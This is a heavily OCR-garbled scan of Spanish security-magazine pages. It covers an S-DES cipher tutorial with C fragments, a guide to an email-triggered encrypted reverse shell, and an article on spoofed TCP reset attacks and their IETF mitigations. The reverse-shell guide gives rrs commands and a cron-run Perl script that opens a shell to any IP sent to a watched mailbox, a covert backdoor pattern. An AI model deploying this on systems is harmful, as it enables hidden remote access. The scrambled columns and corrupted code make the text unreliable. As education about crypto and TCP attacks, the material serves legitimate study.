El proceso de cifrado es un poco
complejo y eso que estamos tratando |a
versidn simple. Podemos ver la figura del
procesa de cifrado, o también analizar
esta ecuacion:

C=E(P.K)=IP-1(r2(r1(IP(FP)))

tmo o-UES

El proceso de cifrado lo estudiaremos
paso por paso. Como verdn en la ecua-
citn , hay una parte que dice IP, se trata
de una permutacion inicial (si, nueva-
mente). Tiene definida una tabla:

La permutacion se realiza de la si-
guiente manera. Primero un bucle realiza
la primer permutacion y luego otro bucle
hace la segunda permutacién. El primer
bucle quedaria como:

L1 =R0O

RI=LOAF(R,KI)

La funcién f la definiremos luego.
Como verdn, sucede lo mismo que an-
tes. Los nimeros 7, 6, 4, 0 de la tabla IP
pertenecen a la parte alta de la tabla, por
lo tanto 2,5,1,3 a los nimero bajos de
la tabla. En la segunda vuelta, se realiza
otra permutacion:

L2 = R1
R2=L1Af(R K2)

Por ultimo, se concatenan R2 y L2,
generando finalmente la dltima permu-
tacidn, que es inversa a la permutacion
inicial. Luego de esta permutacion una
salida es producida. Ahora analizaremos
la funcion f. Esta funcion contiene otra
llamada E. Esta funcion depende de la
siguiente tabla:

E-BIT TABLA DE SELECCION
30121230

La entrada de datos en la funcidn
E es un bloque de 4 bits, y la salida se
produce en un bloque de 8 bits, utili-
zando la tabla E-BIT. En la tabla, el 3,
indica el bit tres, v asi sucesivamente.
Ese byte de R, se xorea en dos rondas.
Se utiliza la clave denominada K, utili-
zando las subclaves creadas, llamadas
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El resultado es un bloque de 4 bils,
que es retornado por la funcién . De
esa manera, el primer bucle utiliza
la funcidn y el segundo bucle lo uti-
liza de nuevo, con lo que el proceso
descrito anteriormente se ejecuta de
NUEevo.

Descifrado

El descifrado es exactamente igual
que el cifrado, con la Gnica salvedad que
las subclaves (K1 y K2) son aplicadas en
orden inverso. Es decir, K2 es utilizado
en el bucle 1 y K1 en el bucle 2.

@

Un poco de codigo fuente

Ahora veremos algunas partes rele-
vantes antes de iniciar el viaje hacia el
ataque por criptoandlisis. Este atague es
el mds directo. La primera permutacion
de las claves es:

UINT leftShift{iUINT nKey, UINT nb5-
hift, LINT nSize)|

UINT n = nKey >> (nSize - nShift), i,
nMask=0;

nKey <<= nShift;

for(i=0; i< nSize; i++)

nMask |= 1 <<j;

return (nKey | n) & nMask;
)

Ahora veremos el bloque de codigo
que se encarga de la permutacion con la
tabla IP e IP1:

UINT IP]] = {7.6,4,0,2,5,1,3)

UINT IP_1]]=[3.6.4.7.2,5.1,0);

BYTE per{UINT P{], BYTE input)
BYTE bRes = 00;

inti=8;

while{-i >= 0}

ifl 01 =< (BLOCKSIZE - P[BLOCKSIZE
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Chip ufilizado pars creckear DES
K1y K2, K1 es usada para el bucle 1y
K2 para el bucle 2.
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El resultado se divide en dos bloques,
de ahi se obtienen los bits mas significati-
vos de un grupo y se concatenan con los
del otro grupo. Luego se aplican a dos
tablas denominadas 5-Boxes, en nuestro : g
caso 50 y 51. He aqui las dos tablas:
50 Columna Ndmero del bloque, son representados en base
2 1032 2 también vy el resultado se utiliza como
Row No. 0123 indice para buscar la columna.
3 2130
0 1023 Asi se aplica con cada bloque. Luego
los resultados de S0 v 51 son concate-
1 3102 El sistema de aplicacién con S0 y $1,  nados formando un bloque de 4 bits. El
funciona, asi: dltimo paso del cifrado es realizar una
2 2031 dltima permutacién con otra tabla deno-
Se toma el primer bit v el cuarto del minada P.
3 1320 bloque de 4 bits, y se representa en base
dos, con lo que luego el resultado se uti- P
liza como indice para buscar en niimero 1032
| de fila. Después los dos bits del medio
51 Columna Numero
RowNao. 0123 UN FAMOSO ESTUDIO REALIZADO POR FBI DEMUESTRA QUE LA
0 0312 CANTIDAD DE ATAQUES Y CRIPTOANALISIS REALIZADOS SON
UTILIZADOS POR EMPLEADOS POCO SATISFECHOS Y POR HAC-
1 31201 KERS INDEPENDIENTES




INPUT

l

INITIAL
FERMUTATION

! 1

Ra=LBE (R Ko}

L 4 Y

D=L PE(RIG)

CRIPTOGRAFIA BASICA

gy 7

EL DESCIFRADO ES EXACTA-
MENTE IGUAL QUE EL CIFRA-
DO, CON LA UNICA SALVEDAD
QUE LAS SUBCLAVES (K1 Y K2)
SON APLICADAS EN ORDEN IN-
VERSO

-i-1]-1) & input )
bRes |= (01 << i);
return bRes;

Conclusion

Bien, amigos, hemos analizado paso
por paso S5-DES, como cifra y como des-
cifra. Hemos llegado a ver algunos tro-
zos de cddigo. En el nimero que viene
veremos mas codigo y otras partes mas
importantes. Y empezaremos el ataque
por criptoandlisis diferencial y linear. Una
tarea que nos apasionara sin duda.

Espero que les haya gustado.

MNos vemos en la proxima.

Spark
spark@disidents.org
spark@sickdogs.com.ar
https://www.disidents.org
http://www.zerosec.es



Este mes vamos a solucionar el problema de necesitar conectarse a un server Linux que
se encuentra detris de un Firewall. Existen muchas maneras, desde Netcat/Crypcat hasta
RRs, que es el software que vamos a usar.

La idea es: necesitamos que
el server se conecte a una IP que
le indiquemos cuando nosolros
gueramos, y que ademds nos “sirva”®
una Shell de comandos. Eslo se
puede hacer ficilmente con otros
software, pero la comunicacion ird en
TextoPlano. Otro inconveniente serfa
el hecho de que cualguiera gue reciba
la Remote-Shell, podria administrar
nuestro server. Por todo ello, vamos a
usar Reverse Remote Shell, el cual nos
garantiza tanto la confidencialidad de
los datos, como una autenticacion del
cliente por parte del Server. Lo que
CONSEgUImMOos serd:

1-Iniciar conexidn remota hacia una
IP [el-cliente)

2- Que la conexion remota vaya
cifrada

3-Que la Shell de comandos sdlo
serd “usable” por el cliente, si éste estd
autorizado a ello, es decir, si posee el
Certificado Digital de turno

En otras palabras, recibiremos una consola
de comandos Cifrada v Autenticada en base
a claves piblicas/cifradas. Bien, va tenemos
la estructura. Ahora hace falta “acthvarla®
de algiin modo. Podriamos programar una
conexion saliente cada 30 minulos por
ejemplo, pero he optado por activar la
conexitn a través de un simple EMAIL

Es dedir, cuando queramos activar la
RRS, simplemente mandaremos un EMAIL
a una direccidn de cormeo, v en ¢ cuenpo
del mensaje pondremos la IP a la que el
server debe coneclarse. El server estard
“monitorizando” una cuenta de comeo, a
la espera de un comreo que haga que se
~active”.

Ingredientes :

1- servidor

2- cliente

3- RRS instalado en el Server/cliente
4- Script de Perl

5 Opens5L



(WIMIb REVERSE SHELL ': -

14

Instalando RRS
eation Socay VNS DOWHGSSE S OVeTIe Remete Sl =
SETa By LA il
e
P Reverse Remote Shell
e
e mu.mmmﬁmmulmhummlﬂtwﬂthﬂh
Farver i Rt Shell & Baivrsdy (e i BN o). Thl Bakivey il BCCS0LTE CONNECHON 6 MCHW & Shisl Tom T niires
a— mmm-mmumwwmm:mm
mtﬂ%ﬂ.“mﬂlmﬂuﬂ.mum”wu—
— pERion MOnSaring (ENGEIng), damon oplion and Fetonnechion feslures. TTs IS Free Gollears disiibuled
ISCHR— under T MIT Licanss ard |8 known i compiie and run under Lines, FrosBS0, NelBS0, OpenBED and OMDC
Expliolty
R e s been downboaded 5584 lirees wirce T AR delekaa oy 9, 2004).
F ool By ekl b
Tratming Fily [ertesglon Uphoaded
THEIT G Birweral prw Teatunes. (CEL, kad muliple les wilh -C, sdded T -2-0  F004-05-30
amf) w5 oplion) MIS b4D0A02r0e 39 B FEa T TIThaT W7 90
i 165 b gr E.i-d_i-'ﬂm:ﬁ_mmmmm 0511
4748 WO 1 20 Mened 27 28 M ade TINOTEH 0
A Egatdid ok =nrerypd hash b 144 e end fered Miakedle (1. 08 nontnpl  TO0M- G427
B i ol b wards cormpabibie)
g.l-_!_llufg-ﬁ. Aadchiee) Ttk deneCryplieon: aind & Eemapbe WO Ciphis PODA-O5-11
FiL
- TR O Do ol oot ThwOlieh h st rypalicn. Of T siemapla O cigibried F004-04- 11
U
Installation
sribalabo b shmple, Il Taih EHEL
§ Lar -l FYS-E.EX.tar.gE
§ ol rrw-w.E
B Lype "make® wilkowt an argeest for & list
§ of pre-defised compilatiss options for warioss
B targel aywles.
§ mads geanric
Para instalarlo, vamos a la web de RES 1.70.tar.g2z, nos descargamos el archivo
http://www.cycom se/uploads/36/19/rrs- y lo descomprimimos, Nos melemenos

[ = 19216851590 - PuTTY

_iojx] NECESITAMOS QUE EL SERVER
| SE CONECTE A UNA IP QUE LE

INDIQUEMOS CUANDO NOSO-
TROS QUERAMOS, Y QUE ADE-
MAS NOS “SIRVA" UNA SHELL
DE COMANDOS

&
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dentro de la carpeta y lo compilamos
con make generic

Con este paso ya tenemos compilado
el binario que nos servird tanto para el
cliente, como para el servidor,

Creando los certificados
Una vez compilado, ahora hay

que crearse la estructura de Claves

Pibilcas/Privadas, crearse una Autoridad

Certificadora, y firmar las Claves

Publicas/privadas con la Autoridad

Certificadora CA.

Creando la Autoridad Certificadora:

openssl genrsa -aesii6 -out
ca.key

openssl req -new —key ca.key
-put ca.csr

openssl x509 -req -in ca.car
=signkey ca.key -out ca.crt

Creandao los Pares de Claves + Firma
por parte del CA:

openssl genrsa -out reverse.
key 1024

openasl reqg -new —-key
reverse.kay -out reverse.csr

openssl x509 -req -days 3650
=CA ga.crt -CAkey ca.key =
CAcreateserial -in reverse.csr
=out reverse.crt

cat reverse.key revarse.crt >
reversa.pam

openssl genrsa -out reversel.
key 1024

openssl req -new -key
reversel.key =-out reversel.csr

openssl x50% -req -days 3650
-CA ca.crt =CRkey ca.key -
CAcreateserial -in reversel.csr
-out reversel.crt

cat reversel.key reversel.crt
> reversel.pem

Al final, tendremos :

1 par de claves Pidblica/Privada en
revVerse.pem

1 par de claves Piblica/Privada en
reversel.pem

1 par de claves Pdblica/Privada

ca.key/ca.crt

Ahora tenemos que enviar los pares
de claves, a sus respectivos duefios. Es
decir:

reverse.pem + Ca.crt al
Serverh

revarsel .pem + Ca.crt al
ServerB

Y ahora yva estamos en disposicidn
de lanzar desde ServerA, una Shell al
ServerB. En el ServerB dejaremos a la
escucha a rrs :

Jres =1s =pli345 --pem
Certs/reverse.pem =--ca Certs/
ca.crt

v en el ServerA, lanzaremos la Shell:

.frrs -8 -r5 -t5 --pem Certs/
reversel .pem --ca Certs/ca.crt
sarverB 12345

¥ recibiremos una Hermosa Shell de
comandos Smile

Las opciones

o = pone a la escucha a rrs

-5 => ysaremos S5L

12345—> el puerto donde rrs
escucha.

5 => Le indica a rrs , que intente
conectar con ¢l Server a intervalos de
5 segundos, hasta que se consiga la
conexidn.

45 => Es el imeout de la conexidn, 5
segundos.

vale, pero Iic-imn

demonios anz? a rrs, si no
tengo acceso al ServerA?

Pues esto lo vamos a solucionar con
un script que monitorice una cuenta de
correo, y si en dicha cuenta se recibe
un email desde una direccién concreta
(wadalberto@wadalbertia.org) y en el
cuerpo del mensaje hay escrita una IP
RRS, se conectard a la IP indicada en el
correo electrénico, y asi recibiremos una
consola de comandos remota en la IP que
le hayamos indicado en el correo.

El script lo he hecho en Perl, y el dnico
requisito para poder ejecutarlo es tener
instalado un madulo para Perl que es el
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que & Vva a encangar de monitorizar la
cuenta de correo. Este madulo se llama
Mail:z:POP3IClient

rroba-rrs> perl -eshell =

CPAMS>» install Mail::

¥a solo nos queda modificar los
parimetros del script para adecuarlos a
MUESiras e r\it‘lﬂ[ll'*.-.

LISER es el usuario del servidor Popl

PASSWORD es la contrasena de
MEESInG COrme

HOST sera el server de corren Popd

VALOR este es un dato importante, el
script siélo aceptard un corren desde la
direccitn que ahi |II1|II:]HI:'I'I'IH"~.

#!/usc/bin/perl -w
Sip="vaclio™;
use Mall::POP3ICLient;
Spop = new Mail::
pop3Cliant { USER => “ISER",
PASSWORD =3
"PASSWORD"™ ,;
HOST => “pop.
mimail .com®™ };
for (54 = 1; $i <= Spop-
>Count i) Si+¥) |
3

foreach {( Spop->Head{ 51

—
e

Spnum==-1 ;

i#bk Rhora tenemos en @
vector todos los From:

foresach Svalor (Bvector)|

Snumt+;

if (Svalor=~ m/wadalberto\@
wadalbertia.org/) |

sbody = Spop->Body(3num) ;

]

if (Sbody=~ m/*N<{hd+h N
dey . hdeh L hde= ) A=)

£ -\...Irﬁiﬂ".

Sip
!
1

f#4#dTenge la Ip metlida en
la variable!l!!

if (5ip ne “vacio”} |

open (LOGS, ">>10GS.txt"):
i# 5i tengo uvna ip abrimos
fichero

Shora="date &

traverseshell = “/rootfrra=-

@

)

£ 192, 168.5.198 - PuTTY

1.70/re8s -3 =r5 =t3 ==pem f
root/rra=-1.70/Carts/reversal.
pem --ca /root/rrs-1.70/Certs/
ca.crt Sip 12345 %;

Sval= gystem|“Sreversashel

tpop->Dalete (Snum) ;

if (Sval
tm %07
print
LOGS "El comando reverse no
funciono:=======\phora: SNoOra
b |l

S5e lanzo una

Spup—}flnﬁelﬁ:

Ponemos el script en el CROM, para
que s& ejecute cada minuto.

Probando el tinglao

Ahora vamos a probar nuestro invento
s mandamos desde la direccidn de
corren wadalberto@wadalbertia.org (este
&5 en mi caso, en el vuesiro lendis gue
poner vuestra direccidn |) un email a la
cuenta de vuestro servidor Pop3 con la P
a la gue queremos que NUEesing Server se

conecte entre simbolos de mayor/menor.

7

<192.168.34.23>

Acto seguido pondremos a la escucha
a BRS en el puerto 12345 TCF, ¥
esperaremos a recibir la ansiada Shell

Conclusion

HEmos visto Como ;:ll..ll:h-lﬂl.:ih
administrar un servidor gque no es
accesible desde el exterior de la LAM
donde estd ubicado, esto MIsMoO o
F;||:1|:‘|:._\|'|'||:n haber hiecho Con nelcal, pero
no podriamos cifrar las comunicaciones
autenticar a quien recibe la Shell, Imagina
que descubre algin “juanker” que
mandando un email a nuestra cuenta de
correo con una | en &l Body recibe una
shell con netcat, con RRS de la manera
que lo hemos instalado, sélo brindara fa
Shell de comandos a quien presente wn
certificado valido

EL mismo ejemplo lo podemins
implementar en servidores Windows,
sustituyendo a RRS por el archiconocido
VM, v el script de per por uno en VBS

Saludos v hasta la proxima

okahei@wadalbertia.org
www.wadalbertia.org



Interrumpiendo ilegitimamente
conexiones TCP arbitrarias

El presente articulo brinda una introduccién a los problemas ocasionados por los ataques
de reseteo de conexion TCP, y describe una variedad de dichos ataques, que permiten a un

atacante lograr que una conexion TCP sea abortada ilegitimamente.

TCP es sin duda el protocolo de
transporte mas utilizado en la red Inter-
net. De él dependen aplicaciones tales
como el correo electrdnico, la Web, vy
hasta incluso diversas aplicaciones de
tiempo real (para su senalizacion).

Cada una de estas aplicaciones
depende en distinto grado de la “es-
tabilidad” de la conexidn TCP corres-
pondiente. Es decir, la falla la conexién
TCP utilizada afectard a la aplicacidon
haciendo uso de ella en mayor o me-
nor medida, dependiendo ésto de las
caracteristicas de la aplicaciéon en par-
ticular.

En el caso del protocolo HTTP, uti-
lizado por la Web, si la conexion TCP
utilizada fuera abortada, esto implicaria
la interrupcidn de la transferencia de
informacion (por ejemplo, descarga de
un archivo) que se estuviera realizando
en a través de dicha conexion. En ge-
neral, dicha falla podrd remediarse sin
demasiados inconvenientes, volviendo
a iniciar la transferencia recién inte-
rrumpida.
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En el caso de VolP (Voz sobre IP),
la interrupcion de la conexion TCP
utilizada para la “sefializacion” de la
comunicacion provocard la pérdida de
la comunicacion de voz en cuestion.
En este caso, probablemente podria
considerarse al impacto de un ataque
de reseteo de conexidn como “mas
grave” que en el caso anterior, por la
molestia ocasionada.

LA INTERRUPCION DE LA CONEXION
TCP UTILIZADA PARA LA “SENALI-
ZACION” DE LA COMUNICACION
PROVOCARA LA PERDIDA DE LA
COMUNICACION DE vVOZ

Finalmente, podemos analizar el ca-
s0 de los protocolos de ruteo, tales co-
mo BGP, que hacen uso de conexiones
TCP para la transferencia de informa-
cidn de las rutas de encaminamiento.
En el caso de BGP, por ejemplo, la
pérdida de la conexidn TCP corres-
pondiente resulta en la eliminacion
de todas aquellas entradas de la tabla

de ruteo que habian sido adquiridas a
través de la conexién TCP que recién
abortada. La eliminacion de dichas
entradas resultard, en la gran mayoria
de los casos, en la pérdida de conecti-
vidad con todos aquellos sistemas cuya
conectividad dependia de las entradas
de la tabla de ruteo recién eliminadas.

Es evidente entonces que el impacto
de un atague de reseteo de conexidn
depende, en gran medida, de la im-
portancia de la aplicacion que se en-
cuentra haciendo uso de la conexion
TCP atacada. En aquellos casos en
que el correcto funcionamiento de la
infraestructura de Internet depende de
en gran medida de una aplicacion ha-
ciendo uso de los servicios de TCP, la
proteccion de TCP contra ataques tales
como los de reseteo de conexidn es de
gran importancia.

TCP y el mecanismo de
ventana deslizante

TCP utiliza un mecanismo bastante
simple para el control de flujo de intor
macion. Simplemente, cada segment:
TCP contiene un campo “Window™



que indica cuantos bytes de informa-

nce D
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Host A, Host A hubiera aceptado sélo

Host B ; ]
cién TCP se encuentra preparado a A Bt aquellos bytes de informacidn con
recibir. La figura ventana ilustra el Atk nidmeros de secuencia dentro de la
funcionamiento de la ventana TCP. En 7500_ ventana de recepcion TCP. Dicho de

la primer linea, Host A anuncia una
ventana de 40000 bytes. Host B trans-
mite entonces 4000 bytes de informa-
cidn, respetando la ventana anunciada
por Host A. Recibidos estos paguetes
de informacion, Host A anuncia una
ventana de 0 bytes. Mientras la infor-
macidn recibida sea mantenida en el
huffer de recepcidn de Host A, la ven-
tana no se expandird, y Host B no po-
drd continuar enviando informacion. En
determinado instante, la aplicacion en
Host A lee 2000 bytes de informacion,
liberdndose asi 2000 bytes del buffer
de recepcion de TCP en Host A. Segui-
damente, Host A envia un “Window
Advertisement” {un segmento TCP cu-
vo fin es comunicar el nuevo valor de
la ventana TCP) a Host B, quien envia
otros 2000 bytes de informacian, de

-

]
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otro modao, TCP considera validos so-
lamente aquellos segmentos-datos que
ge encuentran dentro de la ventana de
recepcién, y descarta el resto.

La ventana TCP tiene impacto direc-
to en la performance de la conexién
TCP en cuestidn, debido a que la tasa
de transferencia de toda conexion TCP
gueda limitada por la expresidn:

Maxima Tasa de Transferencia =
Ventana [/ RTT

En donde RTT corresponde al
Round-Trip Time (&6 “tiempo de ida y
vuelta”). Con el fin de evitar que la
ventana TCP imponga un limite artifi-
cial en la tasa de transferencia de TCP,
usualmente se utilizan ventanas TCP

acuerdo a lo permitido por el dltimo o 5500 A009) mds grandes que lo realmente necesa-
valor de ventana recibido, SE 4000) rio. Sin embargo, lo que a primera vista
5,;,_;;&!““"' pareciera no tener precio alguno, tiene
En el ejemplo recién descripto, el en realidad considerables implicancias
Host B se comportd de acuerdo a lo Ap de seguridad: cuanto mds grande es la
estipulado por las especificaciones del E?ﬁﬂu, Winsg ventana TCP, mayor es la posibilidad

protocolo TCP, enviando informacian
tinicamente cuando la ventana TCFP

anunciada por Host A lo permitia. Sin
embargo, si Host B hubiera intentado
enviar informacién mas alld de lo per-

de un atacante de falsificar un segmen-
to TCP con un nimero de secuencia
tal ([que se encuentre dentro de la
ventana TCP) que sea aceptado como
“vialido” por el sistema atacado.

mitido por la ventana anunciada por eontrol de flujo de informacion
0 15 16 3
. 16-bit source port number i 16-bit destination port number
I .......................... S az-m_mquam numb;; ................................................ "
% 32-bit acknowledgement number
[ |
e B HEHHE HR e
16-bit TCP checksum 16-bit urgent pointer
1
options
! data
|

Figura TCPheader; Formato def encabezado TCP

@
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Host A

Host B

Host A

Host B

RST;

Figura recharo conexion: Recharo de esteblecimiento de conaxidn TCP

Comao el lector podrd imaginar, si un
atacante pudiera adivinar un ndmero
de secuencia correcto, basicamente
podria realizar cualquiera de las opera-
ciones que pueden realizar los sistemas
que legitimamente han establecido una
conexidn TCP: inyectar datos, cerrar
la conexion, resetear (abortar) la co-
nexian, etc,

El flag RST

La figura TCPheader.gif nos muestra
el formato del encabezamiento TCP,
En la misma podemos observar que
parte del encabezamiento TCP consiste
en una serie de “flags” (6 "banderas”)
de un bit de longitud cada una. Una
de ellas, RST, corresponde al la deno-
minada bandera de “reset”. La mismo
se utiliza para pedir al sistema destina-
tario del segmento TCP que aborte la
conexion en cuestion. La bandera de
resel se uliliza usualmente para abortar
conexiones TCP cuando existe algu-
na condicién de error grosera. En los
casos restantes, la conexion se cierra
utilizando la bandera "FIN®, mediante
un handshake de cuatro pasos.

A continuacion ejemplificaremos el
use del flag RST mediante el andlisis de

& 10z

una variedad de escenarios que hacen
uso legitimo del mismo.

Supongamos que un sistema envie
una peticién de conexidn a un puerto
determinado de otro sistema, en el
cual no hay ningdn proceso escuchan-
do. A esta condicidn se la considera
un error, ¥ es asi que, en respuesta al
mencionado segmento 5YN se enviard
un segmento R5T. De acuerdo a lo es-
tablecido por el RFC 793, el segmento
tomara en su campo Acknowledge-
ment el valor correspondiente para
acusar el recibo del segmento S5YN
recibide (en caso que el segmento SYN
no tuviera datos, dicho valor seria el
ndmero de secuencia del segmento
SYM, incrementado en una unidad). La
figura rechazo conexion ilustra el esce-
nario en cuestion,

Otro escenario posible es aquél en
el cual un proceso que mantenia esta-
blecida una conexidn TCP termina de
forma anormal y, como consecuencia,
se abortan todas las conexiones TCP
establecidas por el mismo. Alternati-
vamente, podria ser el mismo proceso
quien, por algdan motivo especifico,
decidiera abortar una conexign TCP
previamente establecida, en vez de

Figura abortar conexion: FAinallrackin abrupla de wna conexidn TGP

realizar el proceso de cierre de co-
nexion normal. En ambos casos, de
acuerdo a lo establecido por el RFC
793, el segmento RST tomara el proxi-
mo nimero de secuencia a ser utiliza-
do para la transferencia de datos. La
figura aborlar conexion ilustra tales
ESCENarios.

Validacion de los
segmentos RST

De acuerdo a los dos escenarios
descriptos anteriormente, vemos que
en el caso de conexiones en los es-
tados SYN_RECEIVED o SYMN_SENT,
se considerara vilido a un segmento
RST si el mismo acusa el recibo del
segmento SYN anteriormente enviado
Por otro lado, en el caso de aquellas
conexiones en cualquiera de los deno.
minados estados "sincronizados”™ (es
decir, cualquiera de los estados por lo-
que puede transitar una conexion qu:
ha siclo previamente establecida), se
considerard vilido a un segmento K57
sl su ndmero de secuencia TCP se en
cuentra dentro de la ventana de recy
cion del sisterma receptor del mismo,

Ataques de reseteo de
conexion TCP
De acuerdo al analisis hecho ante




Sistema operativo
Microsoft Windows

Puertos efimeros
1024- 4999

Linux kernel 2.6

1024- 4999

Solaris

32768- 65535

AlX

32768- 65535

FreeBSD

1024- 49151

NetBSD

49152- 65535

OpenBSD

1024- 49151

Figura talda puerios: Rango wiilitads para les puertas elimercs por distirdas implemenfaciones de TCP

riormente, resulta obvio concluir que
si un atacante pudiera falsificar un
segmento B5T con las direcciones IP
(en el encabezado IP) v los nimeros
de puerto TCP (en el encabezado TCP)
adecuados, y con un namero de se-
cuencia TCP que se encuentre dentro
de la “ventana de recepcion” del sis-
tema atacado, podria ocasionar que la
conexion TCP en cuestion fuera aborta-
da (“reseteada”) ilegitimamente,

Hay una variedad de factores por
considerar al analizar la factibilidad de
este tipo de atague. Una consideracion
inicial es “que tan factible” es conocer
o adivinar los cuatro valores [direccidn
IP origen, direccién IP destino, puerta
TCP arigen, puerto TCP destino| que
identifican univocamente a la conexidn
TCP a ser atacada.

En principio, si suponemos que se
conoce la identidac de los dos siste-
mas que mantienen aquella conexian
TCFP que serd objeto del ataque, po-
driamaos considerar como “conocicas”™
las dos direcciones IP involucradas, En
lo que respecta al puerto TCP corres-
pondiente al “servidar”, dicho puerto
carrespondera al “well-known port” (6
“puerto bien conocido”) correspon-
diente al servicio en cuestion [“80"

para el caso de HTTP, 110 para el caso
de POFP3, etc.). Asi, concluimos que
con estas consideraciones el dnico
valor en principio totalmente desco-
nocido serd aquél correspondiente al
puerto TCP utilizado por el “cliente”,

EL TIEMPO QUE EL ATAQUE RE-
QUERIRA DEPENDERA DE DOS
PARAMETROS: ANCHO DE BANDA
DISPONIBLE POR EL ATACANTE
Y TAMANO DE LA VENTANA TCP

UTILIZADA POR EL SISTEMA ATA-
CADO

El desconocimiento total del ndmero
de puerto del cliente forzaria al atacan-
te a probar las 65536 combinaciones
posibles para dicho puerto TCP. Sin
embargo, hay dos consideraciones que
se deben hacer con respecto a este
puerto. Por un lado, la gran mayoria
de los sistemas operativos eligen los
puertos efimeros (los puertos TCP uti-
lizados para conexiones salientes) de
una porcion del rango total de puertos
disponible. La tabla puertos nos mues-
tra los rangos utilizados (por defecto)
por una variedad de implementaciones,
En segundo lugar, muchas implementa-
ciones eligen sus puertos efimeros de

HACK ATAQUE TCP l
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forma incremental. Es decir, si una co-
nexion saliente utiliza el puerto 1024,
la siguiente conexion saliente utilizara
el puerto 1025, etc. Asi, en determina-
das circunstancias serd posible para ol
atacante determinar cual es el puerto
TCP utilizado por el cliente de la co-
nexian TCP a ser atacada.

De cumplirse todas estas conside-
raciones, el atacante solamente ne-
cesitard adivinar (o prabar por fuerza
bruta) un valor vilido para el nimero
de secuencia TCP, para asi lograr que
el segmenta BST falsificado sea acepta-
do, v en consecuencia la conexidn TCP
correspondiente sea abortada. El tiem-
po que el ataque requerird dependerd
de dos parimetros: ancho de banda
disponible por el atacante v tamafo de
la ventana TCP utilizada por el sistema
atacado.

Realizacion del ataque

Tal como lo discutiéramos en las
secciones anteriores, para lograr reali-
zar el atague de reseteo de conexion
con éxito deberemaos falsificar un seg-
mento TCP con los valores |direccion
IP arigen, direccion IP desting, puerto
TCP arigen, puerto TCP destino} co-
rrectos, y con un namero de secuen-
cia TCP que se encuentre dentro de
la ventana de recepcion del sistema
atacado. 5i este sistema no estuviera
recibiendo informacion por parte del
otro extremo de la conexion, la venta-
na TCP estaria inmavil. Asi, el atacante
deberia “barrer” todo el espacio de
numeros de secuencia TCP, enviando
segmentos TCP cuvos numeros de
SseCuUencid E*_-.[.Hf..m H-EI}.IIHIZIT'Ib WUnors &
otros por un valor aproximadamente
igual a la ventana TCP utilizada por el
sistema en cuestion.,

5i por el contrario el sistema ataca-
do estuviera recibiendo informacidn
desde el otro extremao de la conexion,
la ventana TCP estaria en movimienlo,
con una “velocidad” promedio igual a
la tasa de transferencia promedio de la
conexion TCP. En este caso, existirdn
dos posibles formas de realizar el ata-
que. Una de ellas serd similar a la an-
terior, ¥ consistird en enviar sucesivos
segmentos BST con distintos numeros
de secuencia, que no solo tendrian en
cuenta el tamano de la ventana TCP
en usa, sino también la tasa de trans-
ferencia de datos de la conexidn (es
decir, el movimiento de la ventana).

&0z
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y como consecuencia tanto el tiempo

como la cantidad de paguetes requeri-
dos para realizar el ataque en cuestién
serian notablemente mds elevados. (En
la seccidn bibliografia de este articulo

se podra hallar una referencia al traba-
jo que se encuentra realizando la IETF

en esta drea.)

Asimismo, la IETF ha propuesto una
maodificacion al procesamiento de los
segmentos RST, para disminuir consi-
derablemente las posibilidades de un
atacante de realizar con éxito el ataque
de reseteo de conexion descripto en
éste articulo. la modificacion propuesta
por la IETF se puede resumir de la si-
guiente manera:

En caso de recibir un segmen-
to RST con un nimero de secuencia
fuera de la ventana de recepcion TCP,
el mismo serd descartado.

Si el segmento RST recibido
contiene como numero de secuencia
TCP el proximo ndmero de secuencia
que se espera recibir, se abortara la co-
nexion TCP correspondiente.

Finalmente, si el segmento
RST recibido contiene un nimero de
secuencia TCP que se encuentra den-
tro de la ventana TCP, pero no cumple
con la condicidn del punto anterior, se
responderd a dicho segmento R3T con
un ACK.

El primero de estos puntos se en-
cuentra documentado en el estandar
del protocolo TCP (RFC 793).

El segundo de estos puntos estable-
ce un requerimiento mds estricto que
el actualmente establecido por el RFC
793, Es decir, el RFC 793 simplemente
exige que el segmento R5T se encuen-
tre dentro de la ventana de recepcion,
mientras que la propuesta actual de la
|ETF es que no solo se exija que el seg-
mento R5T esté dentro de la ventana,
sino que también se exija que posea
como ndmero de secuencia al proximo
nimero de secuencia esperado.

Finalmente, el tercer punto intro-
duce el concepto de “challenge ACK”
(6 “ACK de desafio”)., que permite
mitigar los ataques de reseteo de co-
nexidn, y al mismo tiempo mantener la
funcionalidad de reseteo de conexion
para aquellos casos legitimos. Para
comprender el funcionamiento de es-

Host A Host B

SEQ 14, 100g

ST 110

Iy

2

pCH

/

Figura rst fegifime: Operacién de fos "challenge ACKs"
#mufmm RET legitineos

tos “"ACKs de desafio”, analicemos el

funcionamiento de los mismos median-

te dos ejemplos.

La figura rst no legitimo ilustra que
sucederia si un atacante enviara un
segmento RST con un ndmero de se-
cuencia contenido en la ventana de
recepcion TCP del sistema atacado.
Como respuesta a dicho segmento
TCP se enviara un segmento ACK, que
anunciard el préximo ndmero de se-
cuencia esperado, y que serd recibido
por el otro extremo de la conexion (y

HACK ATAQUE TCP

no por el atacante). Este segmento
ACK enviado serd procesado como un
acuse de recibo normal, y la conexion
TCP no se abortara.

Por atro lado, consideremas el caso
en que un sistema Host A envia un-
segmento R5T a Host B, con un nime-
ro de secuencia dentro de la ventana
de recepcion TCP de Host B, pero dis-
tinto del proximo nimero de secuen-
cia esperado. Host B responderia a
este segmento con un segmento ACK
que anunciaria el proximo ndmero de
secuencia esperado. Al recibir este
segmento ACK, Host A enviaria otro
segmento RST, ahora con un nimero
de secuencia TCP igual a aguél conte-
nido en el campo Acknowledgement
del segmento ACK recién recibido.
Este ultimo segmento R5T enviado
contendria exactamente el préximo
nimero de secuencia esperado por
Host B v, en consecuencia, provocaria
la interrupcion abrupta {reseteo) de la
conexion TCP en cuestion. La figura
rst legitimo ilustra tales escenarios.

Consideraciones finales

El presente articulo describié uno
de los ataques contra TCP mas popu-
lares, junto con algunas de las posi-
bles contramedidas. En los proximos
articulos describiremos otros atagues
basados en el envio de segmentos TCP
falsificados.

Fernando Gont
e-mail; fernando@gont.com.ar
Web: http://www.gont.com.ar

Fernando Gont es integrante del egqui-
po de desarrollo del proyecto OpenBSD,
¥ participa activamente en varios Working
Groups de la IETF (Intermmet Engineering
Task Force).
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PODCAS

Acelera la ejecucion
de Podcasts

Si eres uno de los nuevos adictos al
fendmeno del podcasting, seguro que tienes
el disco duro lleno de archivos con tus pro-
gramas lavoritos. En ese caso, a la hora de
escucharlos te habris dado cuenta de o difi-
cil que es acertar un momento determinaclo
si quieres adelantar o retroceder en la repro-
duccidn del audio. Windows Media Player

